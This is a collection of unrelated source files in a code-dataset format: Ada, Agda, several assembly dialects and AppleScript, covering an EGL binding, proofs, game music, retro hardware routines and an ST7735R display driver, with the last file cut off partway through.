{'OP': 'STOR', 'dst': {'type': 'addresses_P', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_PSE', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'33': 220}
33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33
*/
|
orka_egl/src/egl.adb | onox/orka | 52 | 29621 | <reponame>onox/orka<gh_stars>10-100
-- SPDX-License-Identifier: Apache-2.0
--
-- Copyright (c) 2020 onox <<EMAIL>>
--
-- Licensed under the Apache License, Version 2.0 (the "License");
-- you may not use this file except in compliance with the License.
-- You may obtain a copy of the License at
--
-- http://www.apache.org/licenses/LICENSE-2.0
--
-- Unless required by applicable law or agreed to in writing, software
-- distributed under the License is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-- See the License for the specific language governing permissions and
-- limitations under the License.
with Ada.Strings.Fixed;
package body EGL is
package SF renames Ada.Strings.Fixed;
function Trim (Value : C.Strings.chars_ptr) return String is
(SF.Trim (C.Strings.Value (Value), Ada.Strings.Right));
function Extensions (Value : C.Strings.chars_ptr) return String_List is
Extensions : constant String := Trim (Value);
Index : Positive := Extensions'First;
begin
return Result : String_List (1 .. SF.Count (Extensions, " ") + 1) do
for I in Result'First .. Result'Last - 1 loop
declare
Next_Index : constant Positive := SF.Index (Extensions, " ", Index + 1);
begin
Result (I) := SU.To_Unbounded_String (Extensions (Index .. Next_Index - 1));
Index := Next_Index + 1;
end;
end loop;
Result (Result'Last) := SU.To_Unbounded_String (Extensions (Index .. Extensions'Last));
end return;
end Extensions;
function Has_Extension (Extensions : String_List; Name : String) return Boolean is
use type SU.Unbounded_String;
begin
return (for some Extension of Extensions => Extension = Name);
end Has_Extension;
procedure Check_Extension (Extensions : String_List; Name : String) is
begin
if not Has_Extension (Extensions, Name) then
raise Feature_Not_Supported with Name & " not supported";
end if;
end Check_Extension;
end EGL;
|
src/Dodo/Binary/Maximal.agda | sourcedennis/agda-dodo | 0 | 9779 | <gh_stars>0
{-# OPTIONS --without-K --safe #-}
module Dodo.Binary.Maximal where
-- Stdlib imports
open import Level using (Level; _⊔_)
open import Function using (_∘_)
open import Data.Product using (_,_; ∃-syntax)
open import Data.Empty using (⊥-elim)
open import Relation.Nullary using (¬_)
open import Relation.Unary using (Pred)
open import Relation.Binary using (Rel)
open import Relation.Binary using (Trichotomous; tri<; tri≈; tri>)
-- Local imports
open import Dodo.Unary.Equality
open import Dodo.Unary.Unique
open import Dodo.Binary.Equality
-- # Definitions #
maximal : ∀ {a ℓ : Level} {A : Set a}
→ Rel A ℓ
--------------
→ Pred A (a ⊔ ℓ)
maximal r = λ x → ¬ (∃[ y ] r x y)
-- # Properties #
module _ {a ℓ₁ ℓ₂ : Level} {A : Set a} {≈ : Rel A ℓ₁} {< : Rel A ℓ₂} where
max-unique-tri : Trichotomous ≈ < → Unique₁ ≈ (maximal <)
max-unique-tri tri {x} {y} ¬∃z[x<z] ¬∃z[y<z] with tri x y
... | tri< x<y _ _ = ⊥-elim (¬∃z[x<z] (y , x<y))
... | tri≈ _ x≈y _ = x≈y
... | tri> _ _ y<x = ⊥-elim (¬∃z[y<z] (x , y<x))
module _ {a ℓ₁ ℓ₂ : Level} {A : Set a} {P : Rel A ℓ₁} {Q : Rel A ℓ₂} where
max-flips-⊆ : P ⊆₂ Q → maximal Q ⊆₁ maximal P
max-flips-⊆ P⊆Q = ⊆: lemma
where
lemma : maximal Q ⊆₁' maximal P
lemma x ¬∃zQxz (z , Pxz) = ¬∃zQxz (z , ⊆₂-apply P⊆Q Pxz)
module _ {a ℓ₁ ℓ₂ : Level} {A : Set a} {P : Rel A ℓ₁} {Q : Rel A ℓ₂} where
max-preserves-⇔ : P ⇔₂ Q → maximal P ⇔₁ maximal Q
max-preserves-⇔ = ⇔₁-sym ∘ ⇔₁-compose-⇔₂ max-flips-⊆ max-flips-⊆
|
test/fail/PatternSynonymUnderapplied.agda | asr/agda-kanso | 1 | 12398 | <gh_stars>1-10
module PatternSynonymUnderapplied where
data Nat : Set where
zero : Nat
suc : Nat -> Nat
pattern suc' x = suc x
f : Nat -> Nat
f zero = zero
f suc' = zero |
audio/music/meetmaletrainer.asm | adhi-thirumala/EvoYellow | 16 | 19034 | Music_MeetMaleTrainer_Ch1::
tempo 112
volume 7, 7
duty 3
vibrato 20, 3, 3
toggleperfectpitch
notetype 12, 11, 4
octave 3
C# 1
D_ 1
D# 1
E_ 1
F_ 12
rest 16
Music_MeetMaleTrainer_branch_7f78f::
octave 3
B_ 4
A_ 4
G# 2
F# 2
E_ 2
D# 2
F# 4
E_ 6
F_ 2
F# 4
G_ 8
octave 4
D_ 8
E_ 16
loopchannel 0, Music_MeetMaleTrainer_branch_7f78f
Music_MeetMaleTrainer_Ch2::
duty 3
vibrato 24, 2, 2
notetype 12, 12, 4
octave 4
E_ 1
D# 1
D_ 1
C# 1
octave 3
B_ 12
rest 2
E_ 1
rest 3
E_ 1
rest 9
Music_MeetMaleTrainer_branch_7f7b5::
notetype 12, 12, 4
octave 4
E_ 6
D# 6
C# 4
octave 3
B_ 2
A_ 2
G# 2
F# 2
G# 2
A_ 2
B_ 2
octave 4
C# 2
notetype 12, 12, 7
F_ 16
notetype 12, 12, 5
octave 3
F# 8
octave 4
C# 8
loopchannel 0, Music_MeetMaleTrainer_branch_7f7b5
Music_MeetMaleTrainer_Ch3::
notetype 12, 1, 0
rest 6
octave 4
B_ 1
rest 1
E_ 1
rest 1
B_ 1
rest 3
B_ 1
rest 1
E_ 1
rest 1
B_ 1
rest 3
B_ 1
rest 3
E_ 1
rest 1
F_ 1
rest 1
F# 1
rest 1
Music_MeetMaleTrainer_branch_7f7ea::
E_ 1
rest 1
B_ 1
rest 1
E_ 1
rest 1
B_ 1
rest 1
E_ 1
rest 1
B_ 1
rest 1
E_ 1
rest 1
B_ 1
rest 1
F# 1
rest 1
octave 5
C# 1
rest 1
octave 4
F# 1
rest 1
octave 5
C# 1
rest 1
octave 4
F# 1
rest 1
octave 5
C# 1
rest 1
octave 4
F# 1
rest 1
octave 5
C# 1
rest 1
octave 4
G_ 1
rest 1
octave 5
D_ 1
rest 1
octave 4
G_ 1
rest 1
octave 5
D_ 1
rest 1
octave 4
G_ 1
rest 1
octave 5
D_ 1
rest 1
octave 4
G_ 1
rest 1
octave 5
D_ 1
rest 1
octave 4
F# 1
rest 1
octave 5
C# 1
rest 1
octave 4
F# 1
rest 1
octave 5
C# 1
rest 1
octave 4
F# 1
rest 1
octave 5
C# 1
rest 1
octave 4
F# 1
rest 1
D# 1
rest 1
loopchannel 0, Music_MeetMaleTrainer_branch_7f7ea
|
libsrc/target/trs80/psg/set_psg_callee.asm | ahjelm/z88dk | 640 | 27587 | <filename>libsrc/target/trs80/psg/set_psg_callee.asm
;
; TRS-80 (EG2000+HT1080) specific routines
; by <NAME>, Fall 2015
;
; int set_psg(int reg, int val);
;
; Play a sound by PSG
;
;
; $Id: set_psg_callee.asm,v 1.2 2016-06-10 21:13:58 dom Exp $
;
SECTION code_clib
PUBLIC set_psg_callee
PUBLIC _set_psg_callee
PUBLIC asm_set_psg
set_psg_callee:
_set_psg_callee:
pop hl
pop de
ex (sp),hl
.asm_set_psg
ld bc,31
out (c),l
ld c,30
out (c),e
ld bc,$f8
out (c),l
ld bc,$f9
out (c),e
ret
|
strings_example.adb | hsgrewal/learning-ada | 0 | 13771 | -- strings_example.adb
with Ada.Text_IO; use Ada.Text_IO;
with Ada.Strings;
with Ada.Strings.Fixed; use Ada.Strings.Fixed;
procedure strings_example is
someVal : String := "Hello there!";
someVal2 : String := "Hello world!";
longString : String(1 .. 250);
longText : String := "Hello there back!";
-- NOTE: This will not compile! Comment line below to compile
-- unAssigned : String;
begin
Move(someVal, longString);
Put_Line(someVal);
Put_Line(longString);
-- NOTE: This will cause a run-time error! Comment line below
-- longString := someVal;
Move(someVal, longText);
Put_Line(longText);
Put_Line(Natural'Image(longText'Length));
someVal := someVal2;
Put_Line(someVal);
Move(longString, someVal);
Put_Line(someVal);
longText := "Hello there back!";
Put_Line(longText);
end strings_example;
|
keyboard.asm | jasaldivara/retro-dos-graphics | 13 | 21978 |
CPU 8086
; Keyboard
; Programa que muestra los códigos de escaneo de las teclas pulsadas
; Incluye funcion para mostrar en pantalla numeros en formato decimal
%define VIDEOBIOS 0x10
%define KBBIOS 0x16
%define KB_ESC 01
org 100h
start:
; mov ax, 0ffh
; call writedecimal
mov bh, 0
mov bl, 0ffh
mov dx, una_cadena
call writestringbios
call teclas
fin:
; Salir al sistema
int 20h
teclas:
.looptecla:
mov ah, 0
int KBBIOS
push ax
mov bh, 0
mov bl, 0ffh
mov ah, 0eh
int VIDEOBIOS
mov al, 09h
int VIDEOBIOS
pop ax
push ax
mov al, ah
xor ah, ah
call writedecimal
mov al, 0dh
int VIDEOBIOS
mov al, 0ah
int VIDEOBIOS
pop ax
cmp ah, KB_ESC
je .fin
jmp .looptecla
.fin:
ret
writedecimal:
; ax => number
xor cx, cx
mov dl, 10d ; base 10
.loopcifra:
div dl
inc cx
push ax
xor ah, ah
test al, al
jnz .loopcifra
.escribe:
pop ax
mov bh, 0
mov bl, 0ffh
mov al, ah
add al, 30h
mov ah, 0eh
int VIDEOBIOS
loop .escribe
ret
writestringbios:
; dx => zero-terminated string
; bh => page number
; bl => foreground color
push si
mov si, dx
.loopchar:
lodsb
test al, al
jz .salir
mov ah, 0eh
int VIDEOBIOS
jmp .loopchar
.salir:
pop si
ret
section .data
una_cadena: db "Una cadena de texto", 0dH, 0aH, 0
|
source/modules/float/fpcompare.asm | paulscottrobson/mega-basic | 3 | 26749 | ; *******************************************************************************************
; *******************************************************************************************
;
; Name : fpcompare.asm
; Purpose : Compare 2 FP Numbers
; Date : 18th August 2019
; Review : 4th September 2019
; Author : <NAME> (<EMAIL>)
;
; *******************************************************************************************
; *******************************************************************************************
; *******************************************************************************************
;
; Compare X1-X2 - returns -1,0,1 depending on difference.
;
; This is an approximate comparison, so values where |a-b| < c will still return zero
; because of rounding errors. c is related to the scale of a and b, not a fixed
; constant.
;
; *******************************************************************************************
FPCompare:
jsr FPFastCompare ; fast compare try first
bcs _FPCExit ; that worked.
;
; Can't do it easily - so we have to subtract.
;
lda XS_Exponent,x ; save the exponents on the stack
pha
lda XS2_Exponent,x
pha
;
jsr FPSubtract ; calculate X1-X2
bit XS_Type,x ; is the result zero ? (e.g. zero flag set)
bvs _FPCPullZero ; if so, then return zero throwing saved exponents
;
pla
sta ExpTemp ; save first exponent in temporary reg.
pla
sec
sbc ExpTemp ; calculate AX-BX
bvs _FPCNotEqual ; overflow, can't be equal.
;
inc a ; map -1,0,1 to 0,1,2
cmp #3 ; if >= 3 e.g. abs difference > 1
bcs _FPCNotEqual ; exponents can't be more than 2 out.
;
;
sec
lda ExpTemp ; get one of the exponents back.
sbc #18 ; allow for 2^18 error, relatively.
bcs _FPCNotRange ; keep in range.
lda #1
_FPCNotRange:
sec
sbc XS_Exponent,x ; if exponent of difference greater than this
bcs _FPCZero ; then error is nearly zero, so we let it go.
;
_FPCNotEqual:
lda XS_Type,x ; so this needs to be $FF (-ve) $01 (+ve)
and #$80 ; $80 if -ve, $00 if +ve
beq _FPCNE2
lda #$FE ; $FE if -ve, $00 if +ve
_FPCNE2:inc a ; $FF if -ve, $01 if +ve
bra _FPCExit
;
_FPCPullZero:
pla ; throw saved exponents
pla
_FPCZero:
lda #0 ; and return zero
_FPCExit:
rts
; *******************************************************************************************
;
; Special case tests
;
; *******************************************************************************************
FPFastCompare:
bit XS_Type,x ; n1 is zero.
bvs _FPFLeftZero ; return invert sign of n2 (0-n2)
bit XS2_Type,x ; n2 is zero ?
lda XS_Type,x ; if so, return sign bit of n1 (n1-0)
bvs _FPFSignBit
;
; Neither is zero. Now check the signs.
;
eor XS2_Type,x ; eor 2 type bits. now know both non-zero
asl a ; put in CS if different.
lda XS_Type,x ; if signs different return sign of first
bcs _FPFSignBit
;
; Same sign. So check the exponents
;
sec ; same sign and not-zero. compare exponents
lda XS_Exponent,x ; compare exponents. if the same, then fail.
sbc XS2_Exponent,x ; e.g. we have to do it via subtraction.
beq _FPNoFastCompare
;
ror a ; put carry into bit 7.
bit XS_Type,X ; if it is +x then flip it.
bmi _FPFCNotMinus
eor #$80
_FPFCNotMinus:
bra _FPFSignBit
;
_FPNoFastCompare:
clc
rts
_FPFZero:
lda #0
_FPFExitSet:
sec
rts
_FPFLeftZero: ; 0 compare n returns -sgn(n)
bit XS2_Type,x ; if right is zero, return zero.
bvs _FPFZero
lda XS2_Type,x ; flip sign bit
eor #$80 ; return that as a sign.
;
_FPFSignBit: ; return 1 if A.7=0, else -1
asl a
lda #1
bcc _FPFExitSet
lda #$FF
sec
rts
|
gcc-gcc-7_3_0-release/gcc/testsuite/gnat.dg/access_func.adb | best08618/asylo | 7 | 13822 | -- { dg-do compile }
procedure access_func is
type Abomination is access
function (X : Integer) return access
function (Y : Float) return access
function return Integer;
begin
null;
end;
|
lib/applescript/metadata.music.applescript | lxsavage/lsitcm | 2 | 3246 | tell application "Music"
set n to the name of current track
set a to the artist of current track
set l to the album of current track
set y to the year of current track
set r to the album artist of current track
set b to the bpm of current track
set c to the composer of current track
set g to the genre of current track
set t to the time of current track
set p to player position
set u to the track number of current track
end tell
return { n, a, l, y, r, b, c, g, t, p, u }
|
components/src/screen/ST7735R/st7735r.adb | rocher/Ada_Drivers_Library | 192 | 1 | <filename>components/src/screen/ST7735R/st7735r.adb
------------------------------------------------------------------------------
-- --
-- Copyright (C) 2015-2016, AdaCore --
-- --
-- Redistribution and use in source and binary forms, with or without --
-- modification, are permitted provided that the following conditions are --
-- met: --
-- 1. Redistributions of source code must retain the above copyright --
-- notice, this list of conditions and the following disclaimer. --
-- 2. Redistributions in binary form must reproduce the above copyright --
-- notice, this list of conditions and the following disclaimer in --
-- the documentation and/or other materials provided with the --
-- distribution. --
-- 3. Neither the name of the copyright holder nor the names of its --
-- contributors may be used to endorse or promote products derived --
-- from this software without specific prior written permission. --
-- --
-- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS --
-- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT --
-- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR --
-- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT --
-- HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, --
-- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT --
-- LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, --
-- DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY --
-- THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT --
-- (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE --
-- OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. --
-- --
------------------------------------------------------------------------------
with Ada.Unchecked_Conversion;
package body ST7735R is
---------------------------
-- Register definitions --
---------------------------
type MADCTL is record
Reserved1, Reserved2 : Boolean;
MH : Horizontal_Refresh_Order;
RGB : RGB_BGR_Order;
ML : Vertical_Refresh_Order;
MV : Boolean;
MX : Column_Address_Order;
MY : Row_Address_Order;
end record with Size => 8, Bit_Order => System.Low_Order_First;
for MADCTL use record
Reserved1 at 0 range 0 .. 0;
Reserved2 at 0 range 1 .. 1;
MH at 0 range 2 .. 2;
RGB at 0 range 3 .. 3;
ML at 0 range 4 .. 4;
MV at 0 range 5 .. 5;
MX at 0 range 6 .. 6;
MY at 0 range 7 .. 7;
end record;
function To_UInt8 is new Ada.Unchecked_Conversion (MADCTL, UInt8);
procedure Write_Command (LCD : ST7735R_Screen'Class;
Cmd : UInt8);
procedure Write_Command (LCD : ST7735R_Screen'Class;
Cmd : UInt8;
Data : HAL.UInt8_Array);
procedure Write_Pix_Repeat (LCD : ST7735R_Screen'Class;
Data : UInt16;
Count : Natural);
-- Send the same pixel data Count times. This is used to fill an area with
-- the same color without allocating a buffer.
procedure Write_Data (LCD : ST7735R_Screen'Class;
Data : HAL.UInt8_Array);
procedure Read_Data (LCD : ST7735R_Screen'Class;
Data : out UInt16);
procedure Set_Command_Mode (LCD : ST7735R_Screen'Class);
procedure Set_Data_Mode (LCD : ST7735R_Screen'Class);
procedure Start_Transaction (LCD : ST7735R_Screen'Class);
procedure End_Transaction (LCD : ST7735R_Screen'Class);
----------------------
-- Set_Command_Mode --
----------------------
procedure Set_Command_Mode (LCD : ST7735R_Screen'Class) is
begin
LCD.RS.Clear;
end Set_Command_Mode;
-------------------
-- Set_Data_Mode --
-------------------
procedure Set_Data_Mode (LCD : ST7735R_Screen'Class) is
begin
LCD.RS.Set;
end Set_Data_Mode;
-----------------------
-- Start_Transaction --
-----------------------
procedure Start_Transaction (LCD : ST7735R_Screen'Class) is
begin
LCD.CS.Clear;
end Start_Transaction;
---------------------
-- End_Transaction --
---------------------
procedure End_Transaction (LCD : ST7735R_Screen'Class) is
begin
LCD.CS.Set;
end End_Transaction;
-------------------
-- Write_Command --
-------------------
procedure Write_Command (LCD : ST7735R_Screen'Class;
Cmd : UInt8)
is
Status : SPI_Status;
begin
Start_Transaction (LCD);
Set_Command_Mode (LCD);
LCD.Port.Transmit (SPI_Data_8b'(1 => Cmd),
Status);
End_Transaction (LCD);
if Status /= Ok then
-- No error handling...
raise Program_Error;
end if;
end Write_Command;
-------------------
-- Write_Command --
-------------------
procedure Write_Command (LCD : ST7735R_Screen'Class;
Cmd : UInt8;
Data : HAL.UInt8_Array)
is
begin
Write_Command (LCD, Cmd);
Write_Data (LCD, Data);
end Write_Command;
----------------
-- Write_Data --
----------------
procedure Write_Data (LCD : ST7735R_Screen'Class;
Data : HAL.UInt8_Array)
is
Status : SPI_Status;
begin
Start_Transaction (LCD);
Set_Data_Mode (LCD);
LCD.Port.Transmit (SPI_Data_8b (Data), Status);
if Status /= Ok then
-- No error handling...
raise Program_Error;
end if;
End_Transaction (LCD);
end Write_Data;
----------------------
-- Write_Pix_Repeat --
----------------------
procedure Write_Pix_Repeat (LCD : ST7735R_Screen'Class;
Data : UInt16;
Count : Natural)
is
Status : SPI_Status;
Data8 : constant SPI_Data_8b :=
SPI_Data_8b'(1 => UInt8 (Shift_Right (Data, 8) and 16#FF#),
2 => UInt8 (Data and 16#FF#));
begin
Write_Command (LCD, 16#2C#);
Start_Transaction (LCD);
Set_Data_Mode (LCD);
for X in 1 .. Count loop
LCD.Port.Transmit (Data8, Status);
if Status /= Ok then
-- No error handling...
raise Program_Error;
end if;
end loop;
End_Transaction (LCD);
end Write_Pix_Repeat;
---------------
-- Read_Data --
---------------
procedure Read_Data (LCD : ST7735R_Screen'Class;
Data : out UInt16)
is
SPI_Data : SPI_Data_16b (1 .. 1);
Status : SPI_Status;
begin
Start_Transaction (LCD);
Set_Data_Mode (LCD);
LCD.Port.Receive (SPI_Data, Status);
if Status /= Ok then
-- No error handling...
raise Program_Error;
end if;
End_Transaction (LCD);
Data := SPI_Data (SPI_Data'First);
end Read_Data;
----------------
-- Initialize --
----------------
procedure Initialize (LCD : in out ST7735R_Screen) is
begin
LCD.Layer.LCD := LCD'Unchecked_Access;
LCD.RST.Clear;
LCD.Time.Delay_Milliseconds (100);
LCD.RST.Set;
LCD.Time.Delay_Milliseconds (100);
-- Sleep Exit
Write_Command (LCD, 16#11#);
LCD.Time.Delay_Milliseconds (100);
LCD.Initialized := True;
end Initialize;
-----------------
-- Initialized --
-----------------
overriding
function Initialized (LCD : ST7735R_Screen) return Boolean is
(LCD.Initialized);
-------------
-- Turn_On --
-------------
procedure Turn_On (LCD : ST7735R_Screen) is
begin
Write_Command (LCD, 16#29#);
end Turn_On;
--------------
-- Turn_Off --
--------------
procedure Turn_Off (LCD : ST7735R_Screen) is
begin
Write_Command (LCD, 16#28#);
end Turn_Off;
--------------------------
-- Display_Inversion_On --
--------------------------
procedure Display_Inversion_On (LCD : ST7735R_Screen) is
begin
Write_Command (LCD, 16#21#);
end Display_Inversion_On;
---------------------------
-- Display_Inversion_Off --
---------------------------
procedure Display_Inversion_Off (LCD : ST7735R_Screen) is
begin
Write_Command (LCD, 16#20#);
end Display_Inversion_Off;
---------------
-- Gamma_Set --
---------------
procedure Gamma_Set (LCD : ST7735R_Screen; Gamma_Curve : UInt4) is
begin
Write_Command (LCD, 16#26#, (0 => UInt8 (Gamma_Curve)));
end Gamma_Set;
----------------------
-- Set_Pixel_Format --
----------------------
procedure Set_Pixel_Format (LCD : ST7735R_Screen; Pix_Fmt : Pixel_Format) is
Value : constant UInt8 := (case Pix_Fmt is
when Pixel_12bits => 2#011#,
when Pixel_16bits => 2#101#,
when Pixel_18bits => 2#110#);
begin
Write_Command (LCD, 16#3A#, (0 => Value));
end Set_Pixel_Format;
----------------------------
-- Set_Memory_Data_Access --
----------------------------
procedure Set_Memory_Data_Access
(LCD : ST7735R_Screen;
Color_Order : RGB_BGR_Order;
Vertical : Vertical_Refresh_Order;
Horizontal : Horizontal_Refresh_Order;
Row_Addr_Order : Row_Address_Order;
Column_Addr_Order : Column_Address_Order;
Row_Column_Exchange : Boolean)
is
Value : MADCTL;
begin
Value.MY := Row_Addr_Order;
Value.MX := Column_Addr_Order;
Value.MV := Row_Column_Exchange;
Value.ML := Vertical;
Value.RGB := Color_Order;
Value.MH := Horizontal;
Write_Command (LCD, 16#36#, (0 => To_UInt8 (Value)));
end Set_Memory_Data_Access;
---------------------------
-- Set_Frame_Rate_Normal --
---------------------------
procedure Set_Frame_Rate_Normal
(LCD : ST7735R_Screen;
RTN : UInt4;
Front_Porch : UInt6;
Back_Porch : UInt6)
is
begin
Write_Command (LCD, 16#B1#,
(UInt8 (RTN), UInt8 (Front_Porch), UInt8 (Back_Porch)));
end Set_Frame_Rate_Normal;
-------------------------
-- Set_Frame_Rate_Idle --
-------------------------
procedure Set_Frame_Rate_Idle
(LCD : ST7735R_Screen;
RTN : UInt4;
Front_Porch : UInt6;
Back_Porch : UInt6)
is
begin
Write_Command (LCD, 16#B2#,
(UInt8 (RTN), UInt8 (Front_Porch), UInt8 (Back_Porch)));
end Set_Frame_Rate_Idle;
---------------------------------
-- Set_Frame_Rate_Partial_Full --
---------------------------------
procedure Set_Frame_Rate_Partial_Full
(LCD : ST7735R_Screen;
RTN_Part : UInt4;
Front_Porch_Part : UInt6;
Back_Porch_Part : UInt6;
RTN_Full : UInt4;
Front_Porch_Full : UInt6;
Back_Porch_Full : UInt6)
is
begin
Write_Command (LCD, 16#B3#,
(UInt8 (RTN_Part),
UInt8 (Front_Porch_Part),
UInt8 (Back_Porch_Part),
UInt8 (RTN_Full),
UInt8 (Front_Porch_Full),
UInt8 (Back_Porch_Full)));
end Set_Frame_Rate_Partial_Full;
---------------------------
-- Set_Inversion_Control --
---------------------------
procedure Set_Inversion_Control
(LCD : ST7735R_Screen;
Normal, Idle, Full_Partial : Inversion_Control)
is
Value : UInt8 := 0;
begin
if Normal = Line_Inversion then
Value := Value or 2#100#;
end if;
if Idle = Line_Inversion then
Value := Value or 2#010#;
end if;
if Full_Partial = Line_Inversion then
Value := Value or 2#001#;
end if;
Write_Command (LCD, 16#B4#, (0 => Value));
end Set_Inversion_Control;
-------------------------
-- Set_Power_Control_1 --
-------------------------
procedure Set_Power_Control_1
(LCD : ST7735R_Screen;
AVDD : UInt3;
VRHP : UInt5;
VRHN : UInt5;
MODE : UInt2)
is
P1, P2, P3 : UInt8;
begin
P1 := Shift_Left (UInt8 (AVDD), 5) or UInt8 (VRHP);
P2 := UInt8 (VRHN);
P3 := Shift_Left (UInt8 (MODE), 6) or 2#00_0100#;
Write_Command (LCD, 16#C0#, (P1, P2, P3));
end Set_Power_Control_1;
-------------------------
-- Set_Power_Control_2 --
-------------------------
procedure Set_Power_Control_2
(LCD : ST7735R_Screen;
VGH25 : UInt2;
VGSEL : UInt2;
VGHBT : UInt2)
is
P1 : UInt8;
begin
P1 := Shift_Left (UInt8 (VGH25), 6) or
Shift_Left (UInt8 (VGSEL), 2) or
UInt8 (VGHBT);
Write_Command (LCD, 16#C1#, (0 => P1));
end Set_Power_Control_2;
-------------------------
-- Set_Power_Control_3 --
-------------------------
procedure Set_Power_Control_3
(LCD : ST7735R_Screen;
P1, P2 : UInt8)
is
begin
Write_Command (LCD, 16#C2#, (P1, P2));
end Set_Power_Control_3;
-------------------------
-- Set_Power_Control_4 --
-------------------------
procedure Set_Power_Control_4
(LCD : ST7735R_Screen;
P1, P2 : UInt8)
is
begin
Write_Command (LCD, 16#C3#, (P1, P2));
end Set_Power_Control_4;
-------------------------
-- Set_Power_Control_5 --
-------------------------
procedure Set_Power_Control_5
(LCD : ST7735R_Screen;
P1, P2 : UInt8)
is
begin
Write_Command (LCD, 16#C4#, (P1, P2));
end Set_Power_Control_5;
--------------
-- Set_Vcom --
--------------
procedure Set_Vcom (LCD : ST7735R_Screen; VCOMS : UInt6) is
begin
Write_Command (LCD, 16#C5#, (0 => UInt8 (VCOMS)));
end Set_Vcom;
------------------------
-- Set_Column_Address --
------------------------
procedure Set_Column_Address (LCD : ST7735R_Screen; X_Start, X_End : UInt16)
is
P1, P2, P3, P4 : UInt8;
begin
P1 := UInt8 (Shift_Right (X_Start and 16#FF#, 8));
P2 := UInt8 (X_Start and 16#FF#);
P3 := UInt8 (Shift_Right (X_End and 16#FF#, 8));
P4 := UInt8 (X_End and 16#FF#);
Write_Command (LCD, 16#2A#, (P1, P2, P3, P4));
end Set_Column_Address;
---------------------
-- Set_Row_Address --
---------------------
procedure Set_Row_Address (LCD : ST7735R_Screen; Y_Start, Y_End : UInt16)
is
P1, P2, P3, P4 : UInt8;
begin
P1 := UInt8 (Shift_Right (Y_Start and 16#FF#, 8));
P2 := UInt8 (Y_Start and 16#FF#);
P3 := UInt8 (Shift_Right (Y_End and 16#FF#, 8));
P4 := UInt8 (Y_End and 16#FF#);
Write_Command (LCD, 16#2B#, (P1, P2, P3, P4));
end Set_Row_Address;
-----------------
-- Set_Address --
-----------------
procedure Set_Address (LCD : ST7735R_Screen;
X_Start, X_End, Y_Start, Y_End : UInt16)
is
begin
Set_Column_Address (LCD, X_Start, X_End);
Set_Row_Address (LCD, Y_Start, Y_End);
end Set_Address;
---------------
-- Set_Pixel --
---------------
procedure Set_Pixel (LCD : ST7735R_Screen;
X, Y : UInt16;
Color : UInt16)
is
Data : HAL.UInt16_Array (1 .. 1) := (1 => Color);
begin
Set_Address (LCD, X, X + 1, Y, Y + 1);
Write_Raw_Pixels (LCD, Data);
end Set_Pixel;
-----------
-- Pixel --
-----------
function Pixel (LCD : ST7735R_Screen;
X, Y : UInt16)
return UInt16
is
Ret : UInt16;
begin
Set_Address (LCD, X, X + 1, Y, Y + 1);
Read_Data (LCD, Ret);
return Ret;
end Pixel;
----------------------
-- Write_Raw_Pixels --
----------------------
procedure Write_Raw_Pixels (LCD : ST7735R_Screen;
Data : in out HAL.UInt8_Array)
is
Index : Natural := Data'First + 1;
Tmp : UInt8;
begin
-- The ST7735R uses a different endianness than our bitmaps
while Index <= Data'Last loop
Tmp := Data (Index);
Data (Index) := Data (Index - 1);
Data (Index - 1) := Tmp;
Index := Index + 1;
end loop;
Write_Command (LCD, 16#2C#);
Write_Data (LCD, Data);
end Write_Raw_Pixels;
----------------------
-- Write_Raw_Pixels --
----------------------
procedure Write_Raw_Pixels (LCD : ST7735R_Screen;
Data : in out HAL.UInt16_Array)
is
Data_8b : HAL.UInt8_Array (1 .. Data'Length * 2)
with Address => Data'Address;
begin
Write_Raw_Pixels (LCD, Data_8b);
end Write_Raw_Pixels;
--------------------
-- Get_Max_Layers --
--------------------
overriding
function Max_Layers
(Display : ST7735R_Screen) return Positive is (1);
------------------
-- Is_Supported --
------------------
overriding
function Supported
(Display : ST7735R_Screen;
Mode : FB_Color_Mode) return Boolean is
(Mode = HAL.Bitmap.RGB_565);
---------------------
-- Set_Orientation --
---------------------
overriding
procedure Set_Orientation
(Display : in out ST7735R_Screen;
Orientation : Display_Orientation)
is
begin
null;
end Set_Orientation;
--------------
-- Set_Mode --
--------------
overriding
procedure Set_Mode
(Display : in out ST7735R_Screen;
Mode : Wait_Mode)
is
begin
null;
end Set_Mode;
---------------
-- Get_Width --
---------------
overriding
function Width
(Display : ST7735R_Screen) return Positive is (Screen_Width);
----------------
-- Get_Height --
----------------
overriding
function Height
